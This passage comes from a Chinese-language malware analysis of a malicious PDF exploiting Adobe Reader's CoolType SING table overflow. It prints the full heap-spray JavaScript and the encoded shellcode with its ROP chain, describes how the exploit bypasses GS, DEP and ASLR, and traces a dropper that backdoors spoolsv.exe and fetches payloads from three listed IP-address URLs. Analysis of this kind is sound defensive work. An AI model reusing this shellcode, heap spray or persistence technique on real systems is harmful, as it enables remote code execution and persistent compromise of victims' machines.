"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);
// unescape("%u0c0c%u0c0c"); 滑块代码 0x0c 等于指令 OR al, 0C; 大量执行对 shellcode 无影响
var nop_chip = unescape("\x25\x750c0c\x25\x750c0c");
// 65536 等于 0x10000 等于 2 ^ 16 等于 64KB, 这里的 20+8 应该是用来免杀用的,无实际作用
while (nop_chip.length + 20 + 8 < 65536)
nop_chip += nop_chip;
// 精准堆喷,使 shellcode 开始的地方一定在 0c0c 结尾的地址 0x....0c0c 处
temp_chip = nop_chip.substring(0, (0x0c0c - 0x24) / 2);
temp_chip += shellcode; //拼接上 shellcode,该位置一定在 0c0c 结尾的地址处
temp_chip += nop_chip; //拼接后续的滑块代码
// shellcode 小片段一个是 0x10000 大小,unicode 一个长度等于2字节,0x10000实际是 0x20000 字节大小,除2 为 0x10000
small_shellcode_slide = temp_chip.substring(0, 65536 / 2);
// 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
while (small_shellcode_slide.length < 0x80000)
small_shellcode_slide += small_shellcode_slide;
// 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,shellcode_slide 应该小于堆块大小
shellcode_slide = small_shellcode_slide.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var slide = new Array();
// 0x1f0 等于 496 ,也就是在内存中申请了接近 500 MB 的内存
for (i = 0; i < 0x1f0; i++)
slide[i] = shellcode_slide + "s";// s 字符无实际作用,估计用于免杀
2. 代码分析
-
由于 0x0c0c0c0c 处的代码在运行时已经被修改过,跳转到 0x0c0B0c0c 处查看。第一行代码就是实际的 shellcode,以 \x41\x41 开头,第二个双字即为 icucnv36.dll 中的返回地址 0x4A8063A5,是 ROP 链的一部分
-
接着在后面构造了 4 字节长度的滑板代码,也就是4个 0x0c,0x0c 等于指令 OR AL, 0C; 大量执行对 shellcode 无影响,和 0x90 nop 指令等价
-
在后面的 while 循环处不断拼接,直到长度为 65536 * 2 字节 ,因为 javascript 的 unicode 字符串中的一个字符用两个字节来表示。换个说法,就是长度为 2 的字符串,实际是占用4个字节的
-
后面的代码先截取了长度为 0x0c0c-0x24 长度的滑板代码,然后在截取的滑板代码后面添加 shellcode,这样做的目的是保证 shellcode 中0x4A8063A5 开始处的地址刚好保存在 0xXXXX0C0C 的地址上。如0x0C0B0C0C、0x0C0C0C0C 等
然后再在后面拼上滑板代码,最后在66行处把代码截断成 65536 长度,也就是 0x10000 的长度。也就是说,在堆中,每间隔 0x10000 的地址,就会有一段完全相同的 shellcode 加滑板代码,如 0x0C0A0C0C、0x0C0B0C0C、0x0C0C0C0C 处的代码完全一样
减去 0x24 的原因:因为堆的开头会有 0x20 的头部信息,划到该堆块地址的开头可以看到。由于前面 shellcode 是以 4 个 0x41 字节开头的,所以要再减去 4,这样 0x4A8063A5 就刚好可以放到堆可以内存开始的 0x0c0c 的位置
举例
0xC060000 是开始地址,但该地址是存放堆头部信息的,不是存放数据开始的地址,真正开始存放数据的是 0xC060020 开始的地址。所以shellcode 地址存放在 0xC060000 + 0x20 + 0x0C0C - 0x20 - 0x4 = 0xC060C08 地址处,该地址是存放 shellcode 开头的 0x41414141 ,第二个双字 0x4A8063A5 刚好位于 0xC060C08 + 0x4 = 0xC060C0C 位置处,这就实现了精准堆喷。
每一小片 shellcode和滑板代码的长度是 0x10000,因此在 0xC060C0C + 0x10000 = 0xC070C0C 处,也存在同样的代码,这就保证了在 0x0C0C0C0C 处一定为 shellcode 的 0x4A8063A5
-
接下来把 0x10000 长度的 shellcode 不断拼接,直到长度接近 0x80000 * 2 = 0x100000, 也就是 1MB 大小
-
最后截断 0x1020 - 0x08 长度
查看当前堆块,结束地址为 0xC15FFFC + 0x4 = 0xC160000 大小为1MB,但实际上比 1MB 要小 0x20 字节或者更多。所以后面截断一部分可以让堆块能保存下构造好的 shellcode
-
接着创建了一个数组,然后不断往数组中填入 1MB 大小的 shellcode 以实现 heap spray ,0x1f0 为 496,也就是创建了约 500MB 大小的堆内存
-
查看任务管理器,发现内存用了 800 多M,和分析基本一致,heap spray 是在文档打开时完成的,因为要申请 500M 的内存,所以刚启动时会卡顿几秒钟
6.1.5 恶意样本分析(shellcode)
1. 代码
var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);
2. 恶意代码行为调试
-
把恶意代码复制到新创建的可执行内存后,跳转到该地址运行恶意代码(此处有重新调试,样本文件为 名企面试自助手册.pdf ,所以生成的地址和之前调试不一样,shellcode也有区别,主要是这个 shellcode 更具代表性)
-
0x35E0044 处先赋值 ecx 为 0x30
-
fs[0x30] 处即为进程环境块 PEB 的指针,通过 PEB + 0xC 偏移处获取 PEB_LDR_DATA 结构体指针,PEB_LDR_DATA 偏移 0x1C 处获取 InInitializationOrderModuleList 成员指针
-
lods [esi] 获取双向链表当前节点的后继指针, 指向 kernel32.dll 节点,找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址。获取加载基地址为 0x7C800000 ,保存在 ebx 中
-
在 0x35E0052 处往栈里面压入 0xC,这个数目是需要寻找的函数数目,再压入基址,然后在 0x37D005A 处压入了第一个需要寻址的函数 hash
-
在 0x35E02F8 处通过基址偏移 0x3C 处获取 PE 头偏移,然后在 PE 头偏移 0x78 处获取了 kernel32.dll 导出表的虚拟地址 0x262C,加上基址为 0x7C80262C
-
接着 0x35E0301 处的代码在导出表偏移 0x18 处获取了导出表函数的数目,为 0x3B9 个函数,保存在 ecx 中
-
在导出表偏移 0x20 处获取了导出表函数名称表的地址,为 0x3538,加上基址后是 0x7C803538
-
在 0x35E030C 处从最后一个函数名地址开始获取 RVA 放到 esi 中,然后在 0x35E030F 处加上基址获取函数名的VA到 esi 中,可以看到本次加载的函数是 lstrlenW 函数
-
执行 lods byte ptr ds:[esi] 指令将该函数名字符串一个字节一个字节的加载到 eax 中
“LODSB”(或“LODSW”)指令把由DS:SI指向的源串中的字节(或字)装入到AL(或AX)中,并根据DF自动修改指针SI,以指向下一个要装入的字节(或字)
-
获得函数名的一个字节后,在0x35E031B 处根据函数名的每个字符计算 hash,保存在 edi 中,该字符计算完跳回取下一个字符,累积计算函数名的 hash 值
执行到0x035E0322 处,可以发现该函数 hash 值比对失败
-
在 0x35E0322 处下个条件断点,条件为 edi==[esp+0x14]
-
F9 运行,命中断点时,查看 esi,可以看到第一个要获得的函数是 ExitThread 函数
-
接下来在 0x35E0328-0x35E0339 处做了以下操作
1)先在导出表偏移 0x24 处获取 AddressOfNameOrdinals 的 RVA,RVA + 模块基地址得到 VA
2)通过输出序号数组获取 ExitThread 函数的序号,其中 ECX 为之前目标函数在 AddressOfNames 中的索引,此处AddressOfNames 中的数组索引与 AddressOfNameOrdinals 数组索引一一对应,AddressOfNameOrdinals 中数组元素为 AddressOfFunctions 中函数地址的序号
3)获取函数地址数组 AddressOfFunctions
4)根据序号在函数地址数组中找到 ExitThread 函数的地址,保存在 eax 中,可以看到此时 eax 已经指向 ExitProcess 函数,猜测在实际中,ExitThread 函数即为 ExitProcess 函数
-
找到函数地址后,在0x35E0064 处把函数地址保存在 0x35E0005 + ecx*4 - 0x4 处
-
再次循环,加载另一个函数的 hash,其中 loopd 会对 ecx 减1,ecx 存放着还没完成解释的函数数目 ,如果 ecx 不等于0 则继续循环,如果等于0,则结束循环,在 0x35E0068 处添加一个条件断点,当 ecx 等于 1 时断下
-
中断时,已经完成所有函数的地址解析,查看数据窗口,已经解析了 12 个函数地址
-
接着调用 GetFileSize 函数,GetFileSize 函数会根据文件句柄获取该文件的大小,此处会一直遍历所有句柄并获取文件大小,比较是否大于 0x2000,如果大于则跳转到 0x35E008F
-
在 0x35E008F 处下个断点,F9 运行,断下来后,发现 esi 的 handler 是 268,eax 返回的大小是 0x1CAD74
-
点击 h 查看所有句柄,发现 268 刚好对应 a.pdf,所以恶意代码获取了样本 pdf 文件的大小
-
接下来调用 SetFilePointer 函数,把文件指针指向文件偏移 0x1200 处
-
接着调用 ReadFile 函数,读取该位置的 0x8 字节到栈上 0x0C0C0CFC 处
-
比较该处的值是否是特定的值,和特殊值一样
-
如果是特殊的值,可以确定是恶意文档本身,就调用 GlobalAlloc 函数,从堆中分配指定数量的字节,以 0 填充,该大小为样本 pdf 文件的大小 0x1CAD74
-
分配后的地址是 0x25930020
-
接着调用 SetFilePointer 将文件指针指向文件开头从头开始
接着调用 ReadFile 把整个文档读取到内存中
-
读出来后,使用异或解密 PDF 中的一个 stream 流对象
解密后,可以看到 0x25931248 处是 ZM 字符,这似乎是 EXE 的文件头 MZ 交换后的字符
-
调用 GetTempPathA 获得临时文件的路径,保存在 0x0C0C0BFC 中
-
在 ZM 前面有个 svrhost.exe 字符串,获取该字符串并拼接在临时目录地址上
-
创建 C:\DOCUME1\Owner\LOCALS1\Temp\svrhost.exe 文件
-
接着交换字节,使前 200 字节恢复成正常的 PE 文件格式
-
调用 lwrite 函数把解密后的 PE 文件写进 svrhost.exe 中
-
调用 winexec 函数执行 svrhost.exe 文件
-
启动完 svrhost.exe 后,回到样本文件中继续执行(我又重新调了一下,所以地址又变了,不影响),关于 svrhost.exe 的行为分析见第3部分
-
样本调用 GetCommandLineA 函数获取运行 pdf 的命令行,这里会返回
“C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe” 但实际上是错误的,平时打开 pdf 后,GetCommandLineA 函数返回的应该是
“C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe” “C:\a.pdf”
这是由于我们是在 Adobe Reader 文件菜单里通过打开功能打开的文件,而不是双击文件来进行打开 -
修复 eax 指向处的字符串为正确的内容,双击内存窗口字符串最后的双引号,也就是 0x22 处
-
在 ascii 字符串处个在双引号后面添加 空格+“C:\a.pdf” 。这就是为什么前面要重命名成简单的名字,在这里方便输入
-
接下来获取倒数第二个双引号的位置,目的是获取当前 pdf 文件的路径
-
接着调用 GlobalAlloc 分配一个内存空间,分配大小为 1CAD74,即样本 PDF 文件的大小
-
调用后返回的起始地址为:0x25C00020
-
把样本文件 0x3C65408 处的内容复制到内存 0x25C00020 处,长度为 ecx 的值 0x1AAF7E。可以看到 esi 处指向 0x25A45408 开始内容为 PDF 的头部。也就是说复制的内容是一个正常的 PDF 文件内容
-
调用 lcreat 函数获取 C:\a.pdf 的句柄
-
调用 lwrite 函数重写文件
0x25A45408 距离样本 pdf 文件的开始地址 0x25A30020 处的距离为 0x153E8 字节,所以该操作把样本文件偏移 0x153E8 后面的正常PDF内容覆盖整个样本文件
整个恶意 PDF 文件的结构大致如下:
-
覆盖上正常的内容后,拼接一条 cmd 命令:cmd.exe /c “C:\a.pdf”
-
然后运行该命令打开正常的 PDF 文件
-
然后退出进程
-
再次打开 a.pdf 文件,已经是正常内容
3. svrhost.exe行为分析
把 svrhost.exe 复制出来,用 ida 打开使用 F5 反编译进行分析,同时使用 ollydbg 加载运行 svrhost.exe 和 ida 结合分析
-
在 49 行处组装了一个命令行并执行,创建了一个 hid128.log 文件
-
在 63 行处关闭文件保护,跟进去查看
1)首先启用 SeDebugPrivilege 权限,从而可以打开其它进程句柄
elvatePrivilege 函数是一个典型的提升权限功能,获取 SeDebugPrivilege 权限并设置 SE_PRIVILEGE_ENABLED 属性来开启权限
2)获取权限后,在 29 行处加载 sfc_os.dll
3)在 34 行处获取 dll 中的 SfcTerminateWatcherThread 函数的地址,该函数用于关闭文件保护
4)在 36 行处获得 winlogon.exe 的进程句柄
5)最后在 37 行处使用 winlogon.exe 的 SYSTEM 权限来远程执行 SfcTerminateWatcherThread 函数,从而关闭文件保护
-
decodeUrl 函数解密 3 个 url 地址
http://203.45.50.118/monitor/images/mmc_vti0915.gif
http://203.45.80.96/monitor/images/mmc_vti0915.gif
http://61.222.31.83/monitor/images/mmc_vti0915.gif进入该函数查看:
-
调用一个函数,把 spooler 字符串传进这个函数
跟进该函数
1)先创建了 C:\DOCUME1\ADMINI1\LOCALS~1\Temp_unstop.bat
内容为:
net stop "Spooler" net stop "Spooler" del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_unstop.bat"
作用是关闭 Spooler 服务,然后删除自身
2)创建 .bat 文件后调用 ShellExecuteA 函数运行该脚本
3)创建后调用 ShellExecuteA 函数运行该脚本
4)运行脚本前,用 msinfo32 查看正在运行的服务,发现打印服务 Spooler 正在运行
5)运行后 Spooler 服务已经停止
-
停止打印服务后,先判断 C:\WINDOWS\system32\Setup\msxm32.dll 文件是否存在
如果不存在,会备份 C:\WINDOWS\system32\spoolsv.exe 打印程序到 C:\WINDOWS\system32\Setup\fxjssocm.exe ,然后再复制一份到 C:\WINDOWS\system32\spooler.exe,接着在 131 行处调用函数修改 spoolsv.exe 的导入表
跟进修改导入表的函数查看并调试,可以确定它的具体功能:
1)将 spoolsv.exe 映射到内存中,在 94 行处判断文件是否以 MZ 字符开头,以及是否存在 PE 头,从而确定该文件是一个可执行文件
2)接下来会进入一个循环,遍历所有区块,把区块设置成可读可写,然后获取了数据目录表第二个成员,也就是导入表的相对虚拟地址,在 118 行处通过 RVA 计算出导入表在文件中的偏移地址
3)找到导入表文件偏移地址,把 IMAGE_IMPORT_DESCRIPTOR(IID) 数组复制到一个新的地址,并计算新导入表的文件偏移。IID 保存着该 PE 文件引用了哪些 DLL 的哪些函数
4)在新的导入表中创建一个新的 IID ,目的是给 spoolsv.exe 引用 msxml0r.dll 中的 EntryPoint 函数
5)进行后续的修改
-
修改完 spoolsv.exe 后,在 140 行处把 spoolss.dll 的文件时间复制给 spoolsv.exe ,增加隐蔽性
-
接着在 142 行处调用函数,修改了 spooler 服务的启动类型为自动启动
函数解析:
-
接下来把 msxml0r.dll 字符串和,0x40B148 的地址传进函数
查看 0x40B148 处的内容,有很多 0x90 数据,明显是原始数据经过 0x90 异或加密后的数据:
该函数解析如下:
1)把 0x40B148 处的数据写进 C:\WINDOWS\system32\msxml0r.dll
2)调用 decodeMsxml0rDll 进行解密
-
解密后会把 3 个 URL 写进 dll 文件中,这3个 URL 估计是后续要下载的后门程序
-
修改完 msxml0r.dll 后,再次修改文件时间
-
在 163 行处调用函数
跟进函数,该函数生成 C:\DOCUME1\ADMINI1\LOCALS~1\Temp_unstart.bat,然后运行 msxml0r.dll
内容为:
net start "Spooler" net start "Spooler" del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_unstart.bat"
作用是启动打印服务,然后删除自身
-
在启动 spooler 服务来启动 msxml0r.dll (作用为下载或更新后门程序到计划任务中,然后定时执行,具体分析过程见第4部分)后,会调用一个函数来删除自身
genUninsepBatAndRun 内部实现:生成一个 C:\DOCUME1\ADMINI1\LOCALS~1\Temp_uninsep.bat 文件并运行,bat 文件内容如下:
:Repeat del "C:\Documents and Settings\Administrator\Local Settings\Temp\svrhost.exe" if exist "C:\Documents and Settings\Administrator\Local Settings\Temp\svrhost.exe" goto Repeat del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_uninsep.bat"
4. msxml0r.dll 分析
分析过程
-
把 msxml0r.dll 复制出来,使用 ida 打开,发现加了壳,全是一些混乱的代码和数据
-
使用 PEID 识别,该 dll 使用了 PeCompact 加壳
PEID下载链接:[PEiD V0.95汉化版原名:吾爱破解抢鲜版] - 『逆向资源区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
-
使用 ollydbg 加载该 DLL,然后调试进行脱壳
-
DLL 脱壳后,会再次进入入口点执行,先在入口点 0x100023D2 处下一个硬件断点,以免软件断点插入的代码影响脱壳,脱壳后再次进入入口点执行时,会中断
-
断在入口点 OEP 后使用 ollydump 插件进行脱壳
-
继续单步执行,再次中断时,已经是脱壳后的正常代码,使用 ctrl+a 重新分析代码
-
此时已经到达脱壳后的入口点,在此处再使用 ollydump 插件进行脱壳,保存后的 dll 文件才是真正的脱壳文件
-
使用 ida 打开脱壳后的 dll 文件进行分析。在 DllMain 函数中创建了一个线程,运行了 sub_10001870 函数
-
接下来使用 od 和 ida 组合一起分析该函数的行为
1)在 0x10001870 处 下一个断点,然后关闭 ollydbg stongod 插件的 Skip some Exceptions 选项
2)点击 F9 运行,第一次中断在 0x10001000 处,继续 F9运行,会成功中断在 0x10001870 处
3)使用 od 和 ida 组合一起分析该 dll 的行为,在 101 行处通过循环判断3个 exe 文件是否存在计划任务目录中,如果存在,则运行
这3个 exe 文件为后续从网上下载的 exe
C:\WINDOWS\Tasks\svchost.exe C:\WINDOWS\Tasks\wuauclt.exe C:\WINDOWS\Tasks\userinit.exe
4)删除 C:\WINDOWS\system32\msxml0.dll 文件,该文件来历不明,估计是后续下载的恶意文件生成的。然后解密了3个 url
3)判断是否存在 explorer 进程,如果存在则模拟 explorer 进程的权限运行 downloadpayload 函数
4)downloadPayload 函数地址为 0x100017A0, 在此处下一个断点,F9 运行到此处
① 首先会删除计划任务中的3个程序
C:\WINDOWS\Tasks\svchost.exe C:\WINDOWS\Tasks\wuauclt.exe C:\WINDOWS\Tasks\userinit.exe
② 接着调用 downloadPayloadToExe 函数重新下载 3 个 exe 文件,传入的两个参数分别为
http://203.45.50.118/monitor/images/mmc_vti0915.gif C:\WINDOWS\Tasks\svchost.exe
跟进 downloadPayloadToExe 函数, 由于 url 内容已经失效,只能在 ida 查看下功能,发现该函数会把 url 返回的内容写进 exe 文件中
恶意 Dll 总结
下载或更新后门程序到计划任务中,然后定时执行
6.3 ROP 链的流程总结
- 调整栈顶到可以控制的区域,也就是溢出的位置。
- 切换栈顶到 0x0c0c0c0c0c,通过堆喷在此位置构造好了栈数据和恶意代码。
- 调用 CreateFileA 函数,创建 iso88591 文件。
- 调用 CreateFileMappingA 函数,创建内存映射对象。
- 调用 MapViewOfFile 函数,返回该文件在内存中映射的地址。这三步的目的是在内存中创建一块具有执行权限的内存块。
- 调用 memcpy 函数,把恶意代码复制到可执行内存中。
- 跳转到可执行内存中执行恶意代码。
6.4 样本对于GS、DEP 、ROP 和 ASLR的处理
6.4.1 GS 保护
在编译时可以选择是否开启GS安全编译选项。这个操作会给每个函数增加一些额外的数据和操作,用于检测栈溢出。在函数开始时,会在返回地址和EBP之前压入一个额外的Security Cookie。在函数返回时,系统会比较栈中的这个值和原先存放在.data中的值做一个比较。如果两者不相等,则说明栈中发生了溢出。因为溢出时会覆盖返回地址,而 security cookie 位于返回地址前,所以覆盖返回地址的方法不可行了。
处理:该漏洞利用时,会选择覆盖栈上的一个函数指针,然后在调用该函数时跳转到 shellcode 执行
6.4.2 DEP(Data Execution Prevention)
数据执行保护,是 windows 防止溢出利用的系统保护机制,系统会标记哪些内存地址可以执行代码,在开启 DEP 后,栈处的内存会被标记为不可执行,因此,除非有办法修改内存的属性,否则不可以在溢出时把 shellcode 布置在栈来运行。支持 DEP 的程序,会把 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标志设为 1
处理:DEP 通过 ROP 来绕过
6.4.3 ROP(Return Oriented Programming)
用来绕过 DEP 保护的技术,既然栈上的内存不可执行,那么可以通过执行程序自身的代码来达到目的,把一连串的代码片段组合起来,执行一个片段返回,再执行另一个片段,从而实现某种功能。
0x4A80CB38 处的代码的功能就是调整栈顶,先添加 ebp 的值,然后把 ebp 的值赋值给 esp ,从而实现把栈地址往高地址调整的目的,然后通过 return 重新获取控制权。要实现这个功能的时候,都可以跳转到这里执行,然后返回
6.4.4 ASLR(Address Space Layout Randomization)
地址空间随机化,在加载程序的时候不再使用固定的基址加载,支持ASLR的程序在其PE头中会设置
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识来说明其支持 ASLR
溢出时,为什么选择 icucnv36.dll 的内存地址呢?是因为 Adobe Reader 大部分库都开启了 ASLR,包括 CoolType.dll ,而 icucnv36.dll 没有开启
例如,如果 icucnv36.dll 开启了 ASLR,那么同一个代码的地址,可能是 0x4A80CB38,也可能是 0x5A80CB38。由于无法知道准确的地址,所以也就无法跳转到想要执行的代码
处理:ASLR 通过堆喷和未启用 ASLR 的模块来绕过
6.4.5 查找 Adobe Reader 中所有没开启 ASLR 或 DEP 的库
使用 pefinder 查找 Adobe Reader 中所有没开启 ASLR 或 DEP 的库
pefinder 下载链接:http://www.scriptjunkie.us/files/pefinder.zip
输入命令:
dir /b /w /s "C:\Program Files\Adobe\*.dll" | pefinder.exe -
6.5 漏洞利用样本流程总结
- 获取 SING 表的入口地址
- 通过 strcat 函数将 uniqueName 和 ebp进行拼接造成栈溢出。
- 通过覆盖栈上的一个函数指针为 0x4A80CB28,并在后续调用该指针来绕过 GS 保护。将返回地址覆盖为 0x4A82A714
- 调用该指针后,跳回到构造的返回地址 0x4A82A714,修改 esp 为 0x0C0C0C0C
- 通过 heap spray 技术在内存中布置 shellcode。heap spray 的 javascript 脚本使用随机变量名、\x25 代替 % 号、添加无用代码等方式绕过杀毒软件分析。
- 通过未开启 ASLR 的模块来绕过 ASLR ,从而运行 ROP 链。
- 通过 ROP 链来绕过 DEP 保护。(执行 CreateFileA,CreateFileMappingA,MapViewOfFile 将文件映射到一块可读可写可执行的内存空间,执行 memcpy 将 shellcode 写到 MapViewOfFile 返回的地址)
以下为执行 shellcode 的部分
-
通过 PEB 获取 kernel32.dll 的基址,从而获取需要运行的函数地址。
-
使用异或和交换字符的方式对恶意 PE 文件进行加密。
-
释放并运行 svchost.exe 恶意文件,其文件名和系统进程名一致,增加了隐蔽性。
-
提升权限以便进行后续操作。
-
关闭系统文件保护,以便修改系统文件。
-
